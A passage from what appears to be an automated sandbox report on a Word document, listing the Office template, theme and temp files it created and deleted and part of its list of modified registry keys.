  1003. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851219[[fn=gostname]].xsl",
  1004. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851227[[fn=sist02]].xsl",
  1005. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4110.tmp\\Banded.thmx",
  1006. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD410F.tmp\\chicago.xsl",
  1007. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4140.tmp\\RadialPictureList.glox",
  1008. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4152.tmp\\Crop.thmx",
  1009. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4151.tmp\\Headlines.thmx",
  1010. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4140.tmp\\Content.inf",
  1011. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4152.tmp\\Content.inf",
  1012. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4110.tmp\\content.inf",
  1013. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD410F.tmp\\Content.inf",
  1014. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4151.tmp\\Content.inf",
  1015. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD425C.tmp\\ieee2006officeonline.xsl",
  1016. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox",
  1017. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD426D.tmp\\chevronaccent.glox",
  1018. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD426D.tmp\\Content.inf",
  1019. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD425C.tmp\\Content.inf",
  1020. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM01840907[[fn=Equations]].dotx",
  1021. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4339.tmp\\Badge.thmx",
  1022. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx",
  1023. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851217[[fn=chicago]].xsl",
  1024. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx",
  1025. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx",
  1026. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD43B7.tmp\\TabbedArc.glox",
  1027. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox",
  1028. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD43B7.tmp\\Content.inf",
  1029. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4339.tmp\\Content.inf",
  1030. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851222[[fn=ieee2006officeonline]].xsl",
  1031. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx",
  1032. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM02835233[[fn=Text Sidebar (Annual Report Red and Black design)]].docx",
  1033. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox",
  1034. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD44E1.tmp\\gosttitle.xsl",
  1035. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD44E2.tmp\\iso690nmerical.xsl",
  1036. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD44E2.tmp\\Content.inf",
  1037. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD44E1.tmp\\Content.inf",
  1038. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851224[[fn=iso690nmerical]].xsl",
  1039. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851220[[fn=gosttitle]].xsl",
  1040. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC",
  1041. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD46D7.tmp\\BracketList.glox",
  1042. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD46D7.tmp\\Content.inf",
  1043. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox",
  1044. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4959.tmp",
  1045. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD49E6.tmp\\Feathered.thmx",
  1046. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD49E6.tmp\\Content.inf",
  1047. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx",
  1048. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4BAC.tmp",
  1049. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4C4A.tmp\\content.inf",
  1050. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4C4A.tmp\\Mesh.thmx",
  1051. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx",
  1052. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4D73.tmp\\VaryingWidthList.glox",
  1053. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4D73.tmp\\Content.inf",
  1054. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox",
  1055. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5053.tmp",
  1056. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5100.tmp\\content.inf",
  1057. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5100.tmp\\Vapor_Trail.thmx",
  1058. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx",
  1059. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD572B.tmp\\ThemePictureAlternatingAccent.glox",
  1060. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD572B.tmp\\Content.inf",
  1061. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
  1062. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox",
  1063. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{343CE823-9F6F-4063-A22B-388B177D3B95}.tmp",
  1064. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD57A9.tmp\\mlaseventheditionofficeonline.xsl",
  1065. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD57A9.tmp\\Content.inf",
  1066. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851225[[fn=mlaseventheditionofficeonline]].xsl",
  1067. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5817.tmp\\PictureFrame.glox",
  1068. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5817.tmp\\Content.inf",
  1069. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox"
  1070. ]
  1071.  
  1072. [*] Deleted Files: [
  1073. "C:\\Users\\user\\AppData\\Local\\Temp\\CabF22F.tmp",
  1074. "C:\\Users\\user\\AppData\\Local\\Temp\\TarF230.tmp",
  1075. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Schemas\\MS Word_restart.xml",
  1076. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\",
  1077. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457475[[fn=Frame]].eftx",
  1078. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033927[[fn=Main Event]].eftx",
  1079. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033921[[fn=Damask]].eftx",
  1080. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457475[[fn=Frame]].xml",
  1081. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033921[[fn=Damask]].xml",
  1082. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457475[[fn=Frame]].xml",
  1083. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033927[[fn=Main Event]].xml",
  1084. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457503[[fn=Quotable]].eftx",
  1085. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033925[[fn=Droplet]].eftx",
  1086. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457491[[fn=Metropolitan]].eftx",
  1087. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033919[[fn=Circuit]].eftx",
  1088. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033921[[fn=Damask]].xml",
  1089. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457496[[fn=Parallax]].eftx",
  1090. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03090434[[fn=Wood Type]].eftx",
  1091. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457444[[fn=Basis]].eftx",
  1092. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457503[[fn=Quotable]].xml",
  1093. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033917[[fn=Berlin]].eftx",
  1094. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033925[[fn=Droplet]].xml",
  1095. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033929[[fn=Slate]].eftx",
  1096. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457491[[fn=Metropolitan]].xml",
  1097. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033927[[fn=Main Event]].xml",
  1098. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033919[[fn=Circuit]].xml",
  1099. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457444[[fn=Basis]].xml",
  1100. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03090434[[fn=Wood Type]].xml",
  1101. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457510[[fn=Savon]].eftx",
  1102. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03090434[[fn=Wood Type]].xml",
  1103. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457515[[fn=View]].eftx",
  1104. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033919[[fn=Circuit]].xml",
  1105. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033917[[fn=Berlin]].xml",
  1106. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457491[[fn=Metropolitan]].xml",
  1107. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457444[[fn=Basis]].xml",
  1108. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033925[[fn=Droplet]].xml",
  1109. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457510[[fn=Savon]].xml",
  1110. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033929[[fn=Slate]].xml",
  1111. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457503[[fn=Quotable]].xml",
  1112. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457464[[fn=Dividend]].eftx",
  1113. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457496[[fn=Parallax]].xml",
  1114. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457515[[fn=View]].xml",
  1115. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BCC.tmp",
  1116. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BDE.tmp",
  1117. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033917[[fn=Berlin]].xml",
  1118. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457510[[fn=Savon]].xml",
  1119. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BCD.tmp",
  1120. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033929[[fn=Slate]].xml",
  1121. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BDF.tmp",
  1122. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457515[[fn=View]].xml",
  1123. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BF0.tmp",
  1124. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457464[[fn=Dividend]].xml",
  1125. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BE0.tmp",
  1126. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BF2.tmp",
  1127. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457464[[fn=Dividend]].xml",
  1128. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457496[[fn=Parallax]].xml",
  1129. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BF1.tmp",
  1130. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3C41.tmp",
  1131. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3C63.tmp",
  1132. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3C62.tmp",
  1133. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3C83.tmp",
  1134. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3C94.tmp",
  1135. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BCD.tmp\\rings.glox",
  1136. "C:\\Users\\user\\AppData\\Local\\Temp\\cab37DB.tmp",
  1137. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3E7A.tmp",
  1138. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3EAA.tmp",
  1139. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BDF.tmp\\iso690.xsl",
  1140. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BF2.tmp\\ThemePictureGrid.glox",
  1141. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BCC.tmp\\HexagonRadial.glox",
  1142. "C:\\Users\\user\\AppData\\Local\\Temp\\cab382D.tmp",
  1143. "C:\\Users\\user\\AppData\\Local\\Temp\\cab377A.tmp",
  1144. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3779.tmp",
  1145. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3C41.tmp\\pictureorgchart.glox",
  1146. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BF0.tmp\\architecture.glox",
  1147. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BDE.tmp\\turabian.xsl",
  1148. "C:\\Users\\user\\AppData\\Local\\Temp\\cab37DC.tmp",
  1149. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3C83.tmp\\ConvergingText.glox",
  1150. "C:\\Users\\user\\AppData\\Local\\Temp\\cab383E.tmp",
  1151. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3646.tmp",
  1152. "C:\\Users\\user\\AppData\\Local\\Temp\\cab381D.tmp",
  1153. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3C63.tmp\\InterconnectedBlockProcess.glox",
  1154. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BE0.tmp\\APASixthEditionOfficeOnline.xsl",
  1155. "C:\\Users\\user\\AppData\\Local\\Temp\\cab387E.tmp",
  1156. "C:\\Users\\user\\AppData\\Local\\Temp\\cab383F.tmp",
  1157. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3C62.tmp\\ThemePictureAccent.glox",
  1158. "C:\\Users\\user\\AppData\\Local\\Temp\\cab377B.tmp",
  1159. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3C94.tmp\\gostname.xsl",
  1160. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3BF1.tmp\\sist02.xsl",
  1161. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3749.tmp",
  1162. "C:\\Users\\user\\AppData\\Local\\Temp\\cab39E7.tmp",
  1163. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD410F.tmp",
  1164. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4110.tmp",
  1165. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4140.tmp",
  1166. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4151.tmp",
  1167. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4152.tmp",
  1168. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD425C.tmp",
  1169. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD426D.tmp",
  1170. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4140.tmp\\RadialPictureList.glox",
  1171. "C:\\Users\\user\\AppData\\Local\\Temp\\cab37ED.tmp",
  1172. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3E7A.tmp\\Equations.dotx",
  1173. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4339.tmp",
  1174. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3529.tmp",
  1175. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4110.tmp\\Banded.thmx",
  1176. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3DFC.tmp",
  1177. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD410F.tmp\\chicago.xsl",
  1178. "C:\\Users\\user\\AppData\\Local\\Temp\\cab377C.tmp",
  1179. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD43B7.tmp",
  1180. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4152.tmp\\Crop.thmx",
  1181. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4151.tmp\\Headlines.thmx",
  1182. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3ECA.tmp",
  1183. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD426D.tmp\\chevronaccent.glox",
  1184. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3658.tmp",
  1185. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD425C.tmp\\ieee2006officeonline.xsl",
  1186. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4339.tmp\\Badge.thmx",
  1187. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD3EAA.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
  1188. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4014.tmp",
  1189. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD43B7.tmp\\TabbedArc.glox",
  1190. "C:\\Users\\user\\AppData\\Local\\Temp\\cab365A.tmp",
  1191. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD44E1.tmp",
  1192. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD44E2.tmp",
  1193. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3739.tmp",
  1194. "C:\\Users\\user\\AppData\\Local\\Temp\\cab367C.tmp",
  1195. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD44E2.tmp\\iso690nmerical.xsl",
  1196. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD44E1.tmp\\gosttitle.xsl",
  1197. "C:\\Users\\user\\AppData\\Local\\Temp\\cab353A.tmp",
  1198. "C:\\Users\\user\\AppData\\Local\\Temp\\cab355A.tmp",
  1199. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD46D7.tmp",
  1200. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD46D7.tmp\\BracketList.glox",
  1201. "C:\\Users\\user\\AppData\\Local\\Temp\\cab366B.tmp",
  1202. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD49E6.tmp",
  1203. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD49E6.tmp\\Feathered.thmx",
  1204. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4959.tmp",
  1205. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4C4A.tmp",
  1206. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4C4A.tmp\\Mesh.thmx",
  1207. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4BAC.tmp",
  1208. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4D73.tmp",
  1209. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4D73.tmp\\VaryingWidthList.glox",
  1210. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3645.tmp",
  1211. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5100.tmp",
  1212. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5100.tmp\\Vapor_Trail.thmx",
  1213. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5053.tmp",
  1214. "C:\\Users\\user\\AppData\\Local\\Temp\\~$cs_7332dbfe60d0e8505857f41e2a38a119.doc",
  1215. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{98668843-01B8-4A08-90DF-B060831F4634}.tmp",
  1216. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD572B.tmp",
  1217. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
  1218. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD572B.tmp\\ThemePictureAlternatingAccent.glox",
  1219. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{343CE823-9F6F-4063-A22B-388B177D3B95}.tmp",
  1220. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3647.tmp",
  1221. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD57A9.tmp",
  1222. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD57A9.tmp\\mlaseventheditionofficeonline.xsl",
  1223. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5817.tmp",
  1224. "C:\\Users\\user\\AppData\\Local\\Temp\\cab3659.tmp",
  1225. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5817.tmp\\PictureFrame.glox",
  1226. "C:\\Users\\user\\AppData\\Local\\Temp\\cab366C.tmp",
  1227. "C:\\Users\\user\\AppData\\Local\\Temp\\CVRE4D0.tmp.cvr",
  1228. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{8CFEE647-E87A-4D8E-B34C-7AD63F8FAC74}.tmp"
  1229. ]
  1230.  
  1231. [*] Modified Registry Keys: [
  1232. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\hfk",
  1233. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
  1234. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\VBAFiles",
  1235. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache",
  1236. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\RemoteClearDate",
  1237. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1",
  1238. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\Last",
  1239. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0",
  1240. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\FilePath",
  1241. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\StartDate",
  1242. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\EndDate",
